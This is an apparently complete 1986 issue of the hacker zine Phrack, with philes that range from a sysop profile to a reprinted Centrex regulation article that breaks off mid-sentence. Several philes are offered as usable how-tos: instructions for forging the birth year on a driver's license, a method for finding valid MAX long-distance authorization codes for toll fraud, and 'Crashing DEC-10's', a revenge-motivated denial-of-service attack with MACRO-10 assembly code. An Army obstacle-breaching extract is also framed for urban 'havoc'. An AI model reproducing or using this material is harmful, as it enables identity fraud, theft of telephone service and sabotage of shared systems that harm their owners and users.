





                                ==Phrack Inc.==



                    Volume One, Issue Four, Phile #1 of 11



                            ==Phrack Pro-Phile I==



                       Written and Created by Taran King



                                    3/13/86



         Welcome to Phrack Pro-Phile I.  I started thinking about it and

personally had always been interested in people's backgrounds, especially those

who are around a lot, have been around for a long time, or are sysops.  This

new feature of Phrack Inc. will present info about various members of the

phreak/hack community ranging from personal to public.  This month's

interviewee....



                                 Crimson Death

                                 ~~~~~~~ ~~~~~



         Crimson Death is the sysop of Hell Phrozen Over, a private phreak/hack

bulletin board in Philadelphia, PA. (215).

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Personal

~~~~~~~~

             Handle: Crimson Death

           Call him: Robb

       Past handles: The Sorcerer (before he was a phreak, a pirate handle)

      Handle origin: AD&D Monster Manual II

      Date of Birth: February 17,

Age at current date: 16 years old

             Height: 5'3"

             Weight: 110 lbs

          Eye color: Brown outlined with green

         Hair Color: Dark brown

           Computer: Apple //e with 10 meg hard drive

  Sysop/Co-Sysop of: Hell Phrozen Over, Missing Link, Skull Kingdom

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         Crimson Death started out in the BBS world in 1984 with a public

board, Spirit World, which was run on an Apple //e, 2 floppies, GBBS, and 300

baud.  He had originally gotten his Apple computer in January of 1984.  Then,

on one memorable day, The Videosmith logged onto his board and they became

friends.  In February of 1985, he started phreaking.  When his 10 meg Sider

came, he started Hell Phrozen Over as a private bulletin board system.  Death

called a few memorable boards, including the Army BBS, Shadowland, The Missing

Link, The Labyrinth, as well as his own.  His phreak teacher was The

Videosmith.



         Robb goes to a public school and has skipped a grade, so he is

currently one grade ahead of his time.  His phreaking is unknown at school

except to a few.  He considers himself pretty well versed in programming, and

from the way his board runs, I would agree.  CD's girlfriend is The Silver Fox,

(note the word "Fox") that he met on Datanet, and popular opinion says she is

REALLY decent looking.



         Crimson Death does no hacking right now, but in the future when he

gets a bit of free time, he plans on learning about it.  Mentioned earlier was

his involvement in Phreak Klass 2600.  Red Devil has taken it down, and they

are looking for a replacement board, Phreak Klass II.  Death has met various

phreaks, old and new, and those of who really stuck out in his mind were: The

Videosmith, Mark Tabas, TUC, Telenet Bob, The Sprinter, and Dr. Who.  He listed

others too, but he felt that these were the "mentionables".  Just thought I'd

let a few out there know.  Hell Phrozen Over is co-sysoped by Silicon Swindler,

and the Phreak Adviser is The Videosmith, a 300/1200 baud, 10 meg system.  He

was, in the past, in PhD, which stands for Phreak/Hack Destroyers.  This

eventually evolved into Camorra.  PhD was run by The Executioner (301), members

included Red Devil, Silver Sabre, and Scorpion among others.



         He is quite a comedian also, he wishes for all of you to have his last

name, address, and credit card number (heh heh).  The following are excerpts

from his Death Plan File, Inc. project.  I hope you find this phile

interesting.

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        Interests: Krista, Computers (programming my BBS), telecommunications

                   (modeming, phreaking), reading books (Sci-Fi/Fantasy) and

                   magazines (movie mags, Psychology Today, Omni), movies

                   (circa 1930's to present), writing (short stories, raps,

                   poems for my girlfriend), music (listening (rap, rock,

                   jazz, some pop, classical, an occasional love song), playing

                   guitar and keyboard), origins/beliefs of religions (although

                   I am not religious at all), mysteries of the Universe, RPG's

                   (rare these days), the arts (painting/drawing/sketching,

                   music (as mentioned), art museums), trivia, parapsychology,

                   comedy.



Crimson Death's Favorite Things

-------------------------------



       Women: Krista Denise (I won't say last names)

        Cars: Black Lamborghini's and 1935 Dusenbergs.

       Foods: Italian food, Chinese, Chocolates, peaches (when perfectly ripe).

       Music: Doug E. Fresh, Run-D.M.C., The Fat Boys, Kurtis Blow, UTFO, LL

              Cool J, RUSH, The Who, Led Zeppelin, Billy Ocean, Newcleus,

              The Rolling Stones, John Williams (w/ The London Symphony),

     Authors: Piers Anthony, Stephen King, David Eddings, Arthur C. Clarke,

              Robert Aspirin, Kahlil Gibrahn, L. Frank Baum.

       Books: The Tarot Trilogy, The Xanth Series, The Belgariad, Elfquest,

              The Myth Conceptions Series, 2001, 2010.

  Performers: Bob Hope, Jerry Lewis, Abott & Costello, John Garfield,

              Stacey Keech, Sean Penn, Eddie Murphy, Sir Lawrence Olivier,

              Marlon Brando, Gina Davis, David Letterman, Jayne Mansfield,

              Marilyn Monroe, Scatman Crothers, Pee Wee Herman.



Most Memorable Experiences

--------------------------



My father dying

Falling in love

Meeting Krista for the first time

Getting Leukemia

Vomiting in a Hawaiian Punch bottle

Tabas with one leg over the balcony at The Palace

Being chased by a 6' 8" homo at P-Con IV



Some People to Mention

----------------------



Schoolgirl  (the nicest person on Datanet [Hugs!])

The Heretic (Bizarre, but cool..)

The Warlock Lord (although we occasionally have our differences)

Dire Wraith (Hm. Not much to say)

Tuc (One of the coolest)

Capt. Zap (a pretty nice guy)

Bit Man (just learn to not talk so much!)

Blue Buccaneer (for all he has done (u/l, posts, etc), and being a cool guy)

Maxwell Smart & The Baron (just cool people..)



People Crimson Death would like to say a few things to

------------------------------------------------------



Krista (the person I hold dearest to my heart, who I love and cherish even

        more-so than I do myself; and for being herself)



Silicon Swindler (For being my best friend for the past few years. I would

                  like to thank him for sticking with me through A LOT

                  of bad times)



The Videosmith (for introducing me the mystic world of phreaking, being my

                mentor in this "mystic world", but most of all being a

                friend)



The Executioner (who can be an egotistical asshole at times, but showed

                 me he really does care at Phreak Con, when a 6' 8"

                 ogre wanted my ass)



Red Devil (who has put up with all of my cut-ups and not kicked the

           shit out of me, even though he could. Sorry about that)



The People at Data-Tek (who put up Datanet in which without it, I would

                        have never met Krista)



Everyone Else who I didn't mention (for the one's who I know care; and

                                    the people who put up with my faults)



*TOTAL LOSERS*: The Sting (Otto) (414), Black Majik, Bloody Sabath.



The above three people have busted on me for having had an illness. In May, of

1983 I was struck with Leukemia, cancer of the blood. Luckily, I was cured

of this disease, and now lead a normal life. Yes, I was bald at one period of

time, but I am not now. Even so, that is nothing to bust on. I don't care

who it is, and what they have done to you, because busting on an illness is

is pure idiocy. No one understands...until they or someone they love is

struck.

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I hope you enjoyed this phile, look forward to more Phrack Pro-Philes coming in

the near future.  Oh, and one last thing, I'm taking a poll from all

interviewees.



Of the general population of phreaks you have met, would you consider most

phreaks, if any, to be computer geeks?  Crimson Death says "No".  Thanks for

your time Robb.



                                            TARAN KING

                                   SYSOP OF METAL SHOP PRIVATE



                                ==Phrack Inc.==



                    Volume One, Issue Four, Phile #2 of 11



                        Ringback Codes for the 314 NPA

                                 (Incomplete)



Dial the code from below instead of your exchange, plus the last 4 #'s of your

phone.  Flash switch hook and wait for tone, then hang up.



Prefix  CODE            Prefix  Code

------  ----            ------  ----

432     575             867     552

521     557             868     573

522     452             869     574

524     557             872     571

567     574             921     972

569     978             991     552

694     972             993     952

831     552             994     573

837     557             997     977

838     573             227     852

839     952             527     877



Data Line.  12-85.



                    Volume One, Issue Four, Phile #3 of 11



                             False Identification



                                      By

                                 Forest Ranger





   The objective of this file is to teach one to change his or her current

drivers license to make one 21, without taking apart the drivers license

itself. This will be taught to you in a quick, inexpensive, easy to understand

process. The materials used are laminated sheets (easily obtainable from a

school supply store for around a dollar to two dollars for a number of sheets),

pair of good scissors, and a copy machine.



   The first step in the process calls for the copy machine (a copy machine at

the supermarket works good). Make two copies of your drivers license. Take one

copy and search for a digit on one of the copies that will change the current

year on your license to one that will change your age (21). Once you have found

the digit on one copy cut it out so just the digit is there (a square segment

with a little trim around the edges is a good cut). Then take the other copy

and cut out the current last digit of the year you were born in basically the

same shape as the last. Put the cut out digit under the copy that you had cut

out your current digit of the year you were born. Now having a little trim

around the cut out digit from the first copy will assist you when lining it up

under the second copy when you put it in the copy machine. Now that you have

the new digit from the first copy sitting underneath but showing on the second

copy place it in the copy machine and make a copy so that you will have an

original of the new base part of the license.



   Now since most copy machines are black and white you will have to cut away

the states license on the top of the license (e.g. Illinois License). Now place

the new base of the license with the cut away license name over the old base of

the current license. The new base might not match up like it should but line it

up as a good as possible. Now place a piece of the laminated sheet cut out to

configure the license on top of the new base. Cut away any overlaps of

laminated paper and iron over the license with Mom's good old iron.



   Notes: This process has been proved to work. If you are the type of person

that looks very young then do not bother to make an ID. You will just get

caught and get into a lot of trouble. Also, be very careful at well known bars

and over 21 hang out spots. The employees at these places tend to flash a flash

light underneath the card to see if it is transparent. It is supposed to be.

With this process it is a little hard to see through the ID so be careful with

it if you do go to a place such as this. If you are pulled over by the police

then take a corner of the license and rip. It will not affect your original

license though it maybe a little sticky but, that should not be to big of a

problem. If any bubbling occurs just iron over it and l



                                ==Phrack Inc.==



                    Volume One, Issue Four, Phile #4 of 11



                     Profile of MAX long distance service

                          Written by Phantom Phreaker

                    Presented by The Alliance  618-667-3825



 MAX is a long distance service that is part of Lexitel. Lexitel is soon going

to merge with Allnet. MAX is also going to be a Carrier when our area gets

Equal Access, along with GTE Sprint, SBS, US Telecom, ITT, AT&T, and a few

others.

 The MAX dialup local to me is not in a CCIS area.

 First off, you will get the dull tone of the extender when you call.

 If you don't input any touch tones for 15 seconds (approx.) MAX will go to a

recording telling you 'We have received insufficient digits to process your

call. Please call customer service.'. I believe that MAX dialups all use the

same recordings.

 Input a 6 digit code, followed by Area Code,Prefix and Suffix of the number

you're trying to reach, plus a four digit accounting code which can be any four

digits. If you have an invalid code, a clear ringing will be heard right after

you input the last digit of the Suffix, and will go to a recording 'You have

dialed an invalid authorization code. Please call customer service.'

 If you have a good code you won't hear this ringing after the suffix and will

be allowed to enter the four digit accounting code. If you make an error in

typing in your code, you can hit either the # or * keys on your phone to return

to the initial tone. You can only abort back to the start while you are

entering digits, not after you hear the ring going to recording.

 2600 Hertz can be used to kick back the extender, thus after getting a bad

code, send 2600hz, and you'll be back at the initial tone, (similar to Sprint)

and can try more codes. After getting a code on a MAX service don't let the

call go through. If you don't hear the ringing going to recording then hang up

and save that code for later use.



 Some notes on MAX:

 -----------------

 If you wait at the initial tone more than 15 seconds, it will go directly to a

recording 'We have received insufficient digits to process your call. Please

call customer service.'.

  MAX cannot be used to Blue box unless the dialup you have doesn't return to

the initial tone after sending 2600 Hertz.

 MAX cannot be used to reach certain exchanges such as 976 numbers, 800 INWATS

numbers, and Dial-it 900 numbers. Also certain exchanges belonging to the telco

cannot be reached through MAX.

 International dialing is not possible through MAX as far as I know at this

time.

 To identify a MAX dialup, enter 6 digit authorization code+700+555+XXX+XXXX.

 You will then get a recording 'Welcome to the MAX long distance Network.'

 All recordings on MAX begin with 'All XX dot YY'. In my area the first XX is

always 13. The second YY is a number assigned to the error you have made.

01='All XX dot 01. You have dialed an invalid authorization code. Please call

   Customer service.'

02=Unknown at this time

03='All XX dot 03. We have received insufficient digits to process your call.

   Please try again or call Customer service.'

04='All XX dot 04. Your call cannot be completed as dialed. Please check the

   number and dial again.'

05=Unknown

06=Unknown

07=Unknown

08=Unknown

09='All XX dot 09. I'm sorry, we are unable to complete your International

   call. Please try again or consult your local phone book for dialing

   instructions.'

10='All XX dot 10. Welcome to the MAX long distance network. Thank you for

   using MAX.'

 After dialing a number that cannot be reached through MAX you will hear a dull

tone for approx. one second then the ring to 'All XX dot 04' recording.

 Note each recording will be played twice, then you will get a re-order.

 Autovon tones A,B,C and D entered at the initial tone will automatically go to

recording 03.

 No MF tones break the initial tone, except for 6.

 The information in this file cannot be guaranteed 100% accurate. MAX dialups

may operate differently in different areas.



-End of file-

  02/21/86



                                ==Phrack Inc.==



                    Volume One, Issue Four, Phile #5 of 11



                      |&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&|

                      |Breaching and Clearing Obstacles|

                      |~~~~~~~~~ ~~~ ~~~~~~~~ ~~~~~~~~~|

                      |%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%|

                                  Taken from

                     The Infantry Platoon and Squad FM 7-8

                   (Infantry, Airborne, Air Assault, Ranger)

                                  Army Issue



                                      By

                                  Taran King

                         Sysop of Metal Shop Private



       Special thanks in obtaining the manual goes out to Dragon Master

%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%

         For those of you into the war-aspects of having phun, this is a little

phile to tell you about the breaching and clearing of obstacles.  The

techniques can be used by the anarchist to provide havoc in the city or by the

mercenary to help him out in any battle/battle games-type situation.



                                    ABATIS

                                    ~~~~~~

         An abatis is an obstacle created by cutting down trees so their tops

are criss-crossed and pointing toward the expected enemy direction.  It is most

effective for stopping vehicles in a forest (or along a tree-lined street).

The trees are left attached to the stumps as high as possible to make removal

more difficult.  This obstacle may be reinforced with mines and boobytraps.



                                      Ex:

                         _______|\\_______ /||_______

                                ||\\ /  \ //|| <--fallen tree still attached

                                || \::  ::/ ||

                                || :::::::: ||

                                || /::::::\ ||

                                  /    ^   \

                                       |

                     leaves and branches block the roadway



To clear an abatis:



1>  Suppress the enemy covering the obstacle.

2>  Secure whole area of all enemy elements.

3>  Reduce the obstacle.  Mines and boobytraps must be found and can be

    disarmed by pulling their tripwires with grappling hooks and long ropes.

    Use pioneer tools or explosives to cut the trees from their stumps and then

    pull the logs out of the road with a strong car/truck.



                                   LOG CRIBS

                                   ~~~ ~~~~~

         A log crib is an obstacle constructed of logs, earth, and rocks.  The

logs are used to make triangular cribs which are filled with earth and rock.

These are used to block narrow roads and defiles.



                                      Ex:

                                 ____________

                                     /  \

                                   \-------/

                                   \\earth// <--logs form a triangle, kind of

                                  / \\rox//     like a sandbox, and is filled

                                 /   \\ // \    with earth and rocks.

                                /     \|/   \

                               /             \



To clear a log crib:



1>  Suppress the enemy covering the obstacle

2>  Secure whole area of enemy elements.

3>  Reduce the obstacle.  Use direct fire weapons, explosives, pioneer tools

and vehicles to reduce the obstacle.



                           CRATERS AND TANK DITCHES

                           ~~~~~~~ ~~~ ~~~~ ~~~~~~~

         Craters and tank ditches are holes in the road or terrain that are put

there to stop the passing of vehicles, and are blown in there by explosives.

Sometimes, in tank ditches, barbed wire, mines and chemicals are placed in to

make the tank crews have a harder time.  These are cleared otherwise, though,

by bulldozing dirt into them by pushing in the sides of the holes.  Explosives

may also be used to blow down the sides.



                                     WIRE

                                     ~~~~

         Wire is used to separate infantry from armor and as roadblocks against

wheeled vehicles.



To clear wire obstacles:



1>  Suppress the enemy covering the obstacle.

2>  Secure whole area of enemy elements.

3>  Clear a lane through the wire.  Use wire cutters, or explosives to remove

    the wire (or a bangalore torpedo if you have one [riiiight...]).  Watch for

    mines and boobytraps and mark them with engineer tape, cloth, or anything

    recognizable.

4>  Destroy the marked mines with explosives or grappling hooks.

5>  Mark cleared lane.



                      ...And for those really involved...

                                  MINEFIELDS

                                  ~~~~~~~~~~

         To maintain the momentum of an attack, the group must be prepared to

breach minefields.



1>  Suppress the enemy covering the obstacle.

2>  Secure whole area of enemy elements.

3>  Clear a footpath/lane and mark the mines that are found.  The preferred way

    to clear a lane through a minefield is to use a rocket-propelled line

    charge or a bangalore torpedo (Army style).  However, the only way to clear

    a minefield without special equipment is to probe with pointed sticks.

    Bayonets should not be used because they can detonate AP mines and other

    type magnetic mines.  One squad probes while the platoon overwatches.

    The squad probing the footpath/lane through the minefield uses two probers:

    one in front, clearing a lane wide enough to crawl through; and a second

    one clearing 10 meters behind the first prober and slightly to one side so

    that their lanes overlap.  The probers should not carry their weapons,

    field packs, load-carrying equipment, helmets, etc.  Their equipment is

    carried by other squad members.  Two other men crawl along behind to secure

    the probers, to carry additional supplies, or to take a prober's job if one

    becomes a casualty (how pleasant...).  The probers should be rotated often

    to keep them from getting tired and careless.  The remaining squad members

    overwatch the probers.

    The probers mark mine locations with sticks, engineer tape, cloth, or

    toilet tissue.  They do not try to remove mines.

4>  Secure the far side.  As soon as the squad has cleared a footpath/lane, it

    moves through the lane and secures the far side of the minefield.

5>  Destroy the marked mines with explosives.

6>  Mark cleared lane.

7>  Move the group through the obstacle.



         This phile is more written for the anarchist than the military

gamesman out there, since there is a large lack of them, so please, feel free

to use these techniques in having a little phun rather than ragging on me about

how you never play war-games.



                                            TARAN KING

                                   Sysop of Metal Shop Private



                                ==Phrack Inc.==



                    Volume One, Issue Four, Phile #6 of 11



                               Crashing DEC-10's

                                 by The Mentor

                                    3-13-86







        Occasionally there will be a time when destruction is necessary.

        Whether it is revenge against a tyrannical system operator or against

a particular company, sometimes it is desirable to strike at the heart of a

company...their computer.

        What follows is a fairly detailed explanation of how to go about

crashing a DEC-10 computer running any operating system.  The user will have

to be able to create and execute assembly level and high level language

files, as well as having a good working knowledge of programming.

        The first step is to obtain an account.  Whether this be a default

account like 5,30 (pw: GAMES) or an account that you hacked by some other

method, you have to be able to access the system.  Superuser access is not

necessary, however, for this method to work.

        At the heart of every mainframe computer is the central processing

unit.  The CPU handles all instructions, fetching them from memory, decoding

them, and executing them.  A DEC has what is called a DMA (Direct Memory

Access) Controller that functions as a small CPU handling all the input and

output from memory and peripherals, freeing the main CPU to execute instruc-

tions.  We take advantage of this fact in crashing the system.

        Theory:  The CPU depends on the DMA Controller to handle all memory

access.  If the DMA can be crashed, the CPU grinds to a halt and the sysop

has to run DSK:RAT to restore all the files on the system (a one hour process,

deadly at peak operating time.)  We cause the DMA to crash by slowing it down

incredibly and overflowing the system stack.

        Practice-

        There exists an area known as 'Job Data Area' at octal 20 through 140

of the user's memory.  This stores all relevant information about the current

task executing.  The individual locations each have a 6-bit mnemonic starting

with .JB in each case.  These must be introduced into a symbol table as ext-

ernal references.

        The highest core address available to the user is stored at .JBREL

in the Job Data Area.  If you try to access more core than you are allowed,

you will get an interrupt and it will crash.  The first step is to disable

the interrupt.  This is done by setting bit 22 in the AC to 1.  This is done

with a mask as follows...

        APRENB  AC

        MOVEI   AC,20000 (octal)

        The interrupt is now shut out.  Next, you must start snatching up all

available system core.  This cannot be done by directly meddling with .JBREL.

Instead, you must alter AC (accumulator) to contain the highest desired

address and then move it into .JBREL.  This can be done with the following

subroutine.

        CORE    AC,

TOP:    MOVE    AC,.JBREL##

        AOJA    AC,.+1

        CORE    AC,

        BRA     TOP

        At first, incrementing only by one looks like a slow way to grab core,

but since it is only allocated in chunks of either 1K or 2K words, you can

quickly suck up a lot of memory.  (Following this file is a complete sample

program in MACRO-10 showing how to increase the core to a certain limit.)

        Now that we have all the core we can get, the system is already more

than likely slowing down.  This is good.  Now we put in the fatal blow.

You should already have prepared a program that relies heavily on recursion.

The choice languages for this are either C or Pascal.  Simply set up a simple

recursive program (Towers of Hanoi with 100 rings, for instance), and tell it

to execute.

        What will begin to happen is that the DMA stack will start filling up,

slowing the system down even further.  Eventually, after between 5 minutes and

15 minutes (longest it's ever taken me), you get the nice beep and...

        ;;OPSER- DEC SYSTEM-10 NOT RUNNING

        I've only had to do this on three systems that the sysop really

pissed me off (not counting the system where I go to school, on which I do

it all the time when I'm bored...)  It's kind of an extreme measure, but

it can be an effective one.

        The following program is a sample for those not familiar with MACRO-10

assembly language.

32



START:  TITLE   SAMPLE

        MOVE    P,[IOWD  3,MEM]

        MOVE    [PUSHJ  P,PDLOV]

        MOVEM   .JBAPR##

        MOVEI   AC,600000

        APRENB  AC,

        SETZB   CT

        MOVEM   AC

        AOS

        PUSHJ   P,S1

        JRST    .-3

S1:     IDIVI   AC,10

        HRLM    N,(P)

        JUMPE   AC,.+3

        PUSHJ   P,S1

        SKIPA

        PUSHJ   P,S2

        HLRZ    N,(P)

        ADDI    N,60

        OUTCHR  N

        POPJ    P,

S2:     SOJG    CT,.+4

        OUTCHR  [15]

        OUTCHR  [12]

        MOVEI   CT,10

        MOVE    T,P

        OUTCHR  [40]

        AOBJN   T,.-1

        POPJ    P,

PDLOV:  PUSHJ   P,LIMIT

        SUB     P,[1,,0]

        JRSTF   @.JBTPC##

LIMIT:  CAIL    1000            ;CHANGE TO WHATEVER YOU WANT!

        EXIT

        POPJ    P,

MEM:    BLOCK   10

        END     START



                              ==Phrack Inc.==



                  Volume One, Issue Four, Phile #7 of 11



                            Centrex Renaissance

                             "The Regulations"

                       By Leslie Albin * (See Note)



                          From: On Communications

                       (October 1985, Vol. 2,No. 10)



                             By Jester Sluggo





     Regulatory  changes across the country have made new bargain

available to telecommunications users.  Centrex -- the homely old

central  office  service AT&T planned to bury only  a  couple  of

years   ago   -- has  been  regroomed,   revitalized  and   often

rebaptized.

     As  Centrex,   Centron,  Caroline  or  Essx  -- the  various

regional trade names of Centrex service -- it is cheaper and more

powerful than ever in mosy parts of the country.

     The  bargain will only get better in regions where the  Bell

operating  companies (BOC) have seized on Centrex not only  as  a

logical  step in their progression toward an integrated  services

digital   network,   but   also  as  a  key  to   the   lucrative

telecommunications  aftermarket  -- as long as  those  regulatory

changes do not shift.

     The  Centrex service the regional BOC's were left with after

divestiture  was deliberately undernourished,  as part of  AT&T's

migration  strategy to bolster sales of Western Electric  private

branch  exchanges.    Centrex  was  lacking  in  technology   and

marketing innovation, and users were abandoning it.

     But,  in  a little more than a year and a half,  the  RBOC's

(Regional  Bell  Operating  Companies) have managed to  win  over

state regulators to the idea of a thriving Centrex, gaining their

approval  of trunk equivalency rates,  innovative  tariffs,  rate

stabilization plans,  actual  detariffing and -- in one  case  --

complete deregulation.

     At the federal level, challenges to this revitalization have

been  rebuffed or have stalled before the FCC, and the RBOCs  are

pitching  for greater leeway in providing the  customer  premises

equipment to go with their Centrex service.

     "The  regulators  have  been bending over backward  to  give

Centrex every competitive advantage," said Albert Angel, a lawyer

with the Washing D.C.  firm of Wood,  Lucksinger & Epstein, which

represents  the  North  American  Telecommunications  Association

(NATA).

     "Ultimately,   there  will  be  a  clear  finding  that  the

preferential treatment of Centrex is not justified," added Angel,

and  should  that happen,  Centrex customers -- even  those  with

price stability packages -- could find themselves committed to  a

service beset by escalating rates.

     Most  of  the  federal issues involving  Centrex  regulation

developed  as  a response to actions taken in  the  states.   For

instance,  NATA has sternly objected to "trunk equivalency" rates

authorized by a number of state commissions.

     The  concept  evolved when the FCC imposed  its  $6  monthly

customer  access  line  charge on new Centrex  lines  along  with

regular  business  lines.   Because Centrex uses lines much  less

efficiently than a PBX does, "the net impact is very different on

a  Centrex subscriber than it is on a PBX subscriber," said  Greg

Laken,  division  manager of Centrex and central office  services

for  Bell Atlantic Corp.   Centrex requires one twisted pair  for

each station,  whereas a PBX requires one trunk for six or  seven

stations.

     Trying  to  keep  Centrex viable with  a  built-in  customer

access  line  charge burden six to seven times greater than  that

incurred by a comparable PBX would have been a tough proposition.

Bell  Atlantic's  BOCs,  like virtually every other  BOC  in  the

country,  won  permission  from  state regulators to  offset  the

higher  line charges for Centrex so that customers would  pay  at

the same level as owners of similarly sized PBXs.

     To  NATA,  this  amounts  to nothing more than  "taxing  all

other  customers  for  the benefit of  Centrex  customers,"  NATA

attorney Angel said.  But the FCC decided in summer 1985 that the

trunk  equivalency  rates  do not  undermine  its  access  charge

policy. and the lower rates for Centrex users remain in effect.

     Beyond whittling down customer access line charges, a number

of  BOCs  have  had  fresh  Centrex  tariffs  approved  by  state

commissions  that  chop the service's rates and offer  innovative

pricing schemes.   Bell Atlantic's BOCs,  for instance,  have won

approval for tariffs cutting Centrex rates 30% to 35%.   "The net

effect,"  said  Lakin,  "is that it is a  very  price-competitive

entry."

     To  NATA,  the service's price competitiveness  arises  from

the  BOCs'  continuing  monopoly position in  the  local  market,

although  BOC officials state firmly that Centrex is  not  priced

below  cost and,  in fact,  generates revenue to subsidize  other

services.

     According to Angel,  a Washington, D.C. residential customer

pays  a cost-justified rate of between $15 and $17 for the  local

loop and central office switching capability.  A Centrex customer

using  an  identical  local loop connected to  the  same  central

office pays only $12.  Many of the new tariffs being filed by the

BOCs   recognize   two   of  Centrex's   traditional   headaches:

instability and distance sensitivity.

     Now many of the new tariffs offer users price guarantees and

incentives   for  signing  the  long-term  contracts  that   give

telephone companies some stability in their Centrex base.

     By  locking in rates and either capping the associated costs

or  typing their increase to the Department of  Labor's  cost-of-

living index,  BOCs have been able to offer customers much of the

same predictability that a PBX does.  Most tariffs give customers

the  choice  of  three-,   five- or  seven-year  contracts,   the

incentives rising with the length of the agreement.

     Centrex  customers in the Chicago Loop area,  for  instance,

were paying a $12.52 per-line monthly charge if their system used

250  lines.   Under a tariff approved last fall,  however,  those

customers  saw the monthly charge drop to $10.94 and could  drive

it  down even further by signaling  long-term  contracts:  $10.09

per-line  under a three-year agreement,  $9.84 under a  five-year

agreement and $9.54 under a seven-year agreement.

     "Slightly  less than half of our 400,000-line total base has

gone  on contract," said Lee Armagost,  Illinois Bell's  division

manager  for  tariffs and costs.   And the  concepts  success  is

continuing."

     For all of the BOCs' success in winning lower Centrex rates,

some  companies  have  fared even better -- they  have  convinced

state  regulators to detariff Centrex service for  new  customers

and, in one case, to deregulate it entirely.

     Northwestern Bell seems to be the  current  detariffing  and

deregulating  champion among the BOCs,  having won  approval  for

detariffed  Centron  service  in all of its states  except  Iowa.

Iowa simply deregulated it.

     While detariffing allows the BOCs more freedom to  negotiate

with   large  Centron  customers,   deregulating  takes   Centron

assets,  expenses  and  revenues right out of the rate  base  and

removes the service from the regulators purview.

     According  to Tom Smith,  vice-president and chief executive

officer  of  Northwestern Bell Iowa,  the  company's  first  move

toward  deregulation  occurred in  1983,   when  the  Iowa  State

Legislature   passed   a  Bell-inspired  bill  that  called   for

competitive  services  to be  deregulated.   The  following year,

Northwestern   Bell   succeeded  in  getting  in   getting   more

legislation  passed  that declared Centron ready for  detariffing

because of its competitive nature.

     After  reviewing  the  legislature's  actions,   the   State

Commerce  Commission decided that if the lawmakers were convinced

Centrex was competitive and services were to be  deregulated,  it

would  skip over the detariffing of Centrex and simply deregulate

it, Smith said.

     What  followed  was  what  Smith  called  "nine  months   of

intensive work," as regulators, company officials and consultants

from Anderson & Co. sorted out the procedures for carving Centrex

away  from  the  rate base and set up safeguards  against  cross-

subsidies.

     "A  central  office  is not something that has  this  little

compartment that says 'for service A' and that little compartment

that says 'for service B'" Smith said of the accounting problem.

     NATA  agrees with that description and,  according  to  NATA

attorney Angel,  argues that because competitive Centrex services

must operate commingled with regulated facilities, the FCC should

halt  the detariffing and deregulating of the service or order it

to be sequestered in a separate subsidiary with other competitive

products.

     But the FCC has not acted on NATA's  complaint.   Meanwhile,

the  first customer has signed up for Iowa's deregulated  Centron

-- the state of Iowa itself.

     The  state  had solicited bids to replace its  Capitol  Hill

complex's  Centrex service in Des Moines when deregulated Centron

became available.   The new rates negotiated by Northwestern Bell

and the state's staff produced a savings of about $1 million  for

the state over the three-year life of the contract,  according to

Glen Anderson Jr., director of state communications for Iowa.

     While Anderson called the deregulated Centron service prices

"a  dramatic savings," he also pointed out another incentive  for

signing up.

     "The other factor was political," he said.  "We did not have

an appropriation to proceed with the procurement of a switch."

     When  the Centron agreement runs out,  the state will be  in

the  market for a PBX again.   A member of Anderson's staff  said

the  staff remains convinced it can enhance its own program  with

its own switch.

     At  some BOCs,  the once feature-poor Centrex has caught  up

with  PBXs  in  many respects.   Where  telephone  companies  are

pushing  digital capabilities onto their networks, they are  also

pushing  digital capabilities onto Centrex.   Pacific  Bell,  for

instance,  can  offer fully digital Centrex service from many  of

its metropolitan central offices.

     A  number of BOCs concur with Bell Atlantic's position  that

digital  Centrex  is a natural rung on the ladder to an  ISDN  --

among  them  Pacific Bell and New York Telephone  Co.   Many  are

upgrading  Centrex service with PBX-like features short of  fully

digital service, including several versions call forwarding, call

waiting  and speed dialing.   Given the current strictures in the

FCC's  Second Computer Inquiry and the Modified Final  Judgement,

the expanded features list was bound to be called into question.

     NATA,  which has been leading the charge against the changes

in Centrex service,  is fighting its battle on four fronts at the

FCC:

     1)  Last  fall,   it  asked  the  FCC  either  to  halt  the

detariffing and deregulation of Centrex by the states or order  a

separation  of commingled facilities.   The FCC has not acted  on

the complaint.

     2)  Soon after filing that complaint,  NATA filed another --

this  one  questioning  the provision  of  competitive,  enhanced

features by a regulated,  basic telephone company.  The FCC acted

on  that complaint last summer,  deciding that features  such  as

speed  dialing,  call forwarding and customer station changes are

adjuncts  to  basic  service and can be offered  by  a  regulated

telephone  company  under  Computer  II.    Only  customer-dialed

account recording was found to be and enhanced service,  but  the

BOCs can request waivers to continue offering it.

     Until  the  waiver  requests are  considered,  the  FCC  has

granted  immediate,  temporary  waivers so the BOCs can  continue

providing customer-dialed account recording to existing customers

-- including the U.S.  Army.   Meanwhile,  the BOCs and NATA  are

seeking  reconsideration of  the FCC's decision in petitions  the

FCC  will address this month or next,  according to the FCC staff

member handling the issue.

     3)  Late last year,  NATA asked the FCC to to stop Ameritech

and Nynex Corp.  equipment subsidiaries from selling basic  phone

services,  including Centrex,  through their unregulated customer

premises equipment subsidiaries.

     When the FCC agreed to permit the joint marketing, it did so

with  the provision that non-Bell companies would also be  signed

up  as sales agents for the basic services.   As evidence of  the

problem,  NATA  pointed  to the sparse number of  non-Bell  sales

agents  being  signed up and the revenue moving from the BOCs  to

their sister customer premises equipment subsidiaries in the form

of sales commissions.   The FCC has not acted on the complaint or

NATA's  original petition seeking a reversal of the  sales  agent

decision.

     Bell Atlantic,  backed by the majority of RBOCs,  is seeking

FCC  permission  for  an  inverted version  of  the  sales  agent

decision  that  would let Bell Atlantic serve as sales agent  for

another  vendor's  customer premises  equipment  when  submitting

Centrex bids.

     4)   In  July  1985,   NATA  filed  an  even  more  sweeping

complaint,  a  Centrex  pricing action that argues that the  BOCs

are  using  their  monopoly power to  favor  Centrex  over  other

customers and to the detriment of PBX suppliers.

     The  complaint bridges a number of issues,  including  trunk

equivalency  rates,  pricing below cost and Computer II concerns.

The BOCs argued that Centrex is a state concern and, although the

FCC  has preempted state jurisdiction in other matters,  the  FCC

paused  to  consider the jurisdictional question -- a pause  that

could  last  six months or extend  "indefinitely,"  according  to

lawyers working on the matter.

     NATA  attorneys do not seem daunted by the chilly  reception

they've  gotten at the FCC,  apparently expecting the temperature

to  rise  as  regulators worry less about the  viability  of  the

divested BOCs and begin to examine the economics of Centrex.

     "All  rates  apart  from Centrex  are  rising  dramatically.

Centrex  rates are decreasing," NATA attorney Angel  said.   "The

